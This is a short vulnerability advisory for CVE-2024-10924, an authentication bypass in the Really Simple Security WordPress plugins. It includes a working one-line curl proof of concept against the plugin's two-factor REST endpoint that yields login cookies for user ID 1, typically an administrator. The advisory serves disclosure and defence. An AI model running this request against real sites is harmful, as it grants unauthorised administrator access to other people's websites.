Really Simple Security (Free, Pro, and Pro Multisite) 9.0.0 – 9.1.1.1 – Authentication Bypass | CVE 2024-10924

Description

The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).

Proof of Concept

With two-factor authentication enabled in the plugin, run the following command:

curl -v -X POST https://example.com/wp-json/reallysimplessl/v1/two_fa/skip_onboarding --data '{"user_id":"1","redirect_to":"/","login_nonce":"random"}' -H "Content-Type: application/json"

In the response, see that the cookies have been sent for the user with ID 1.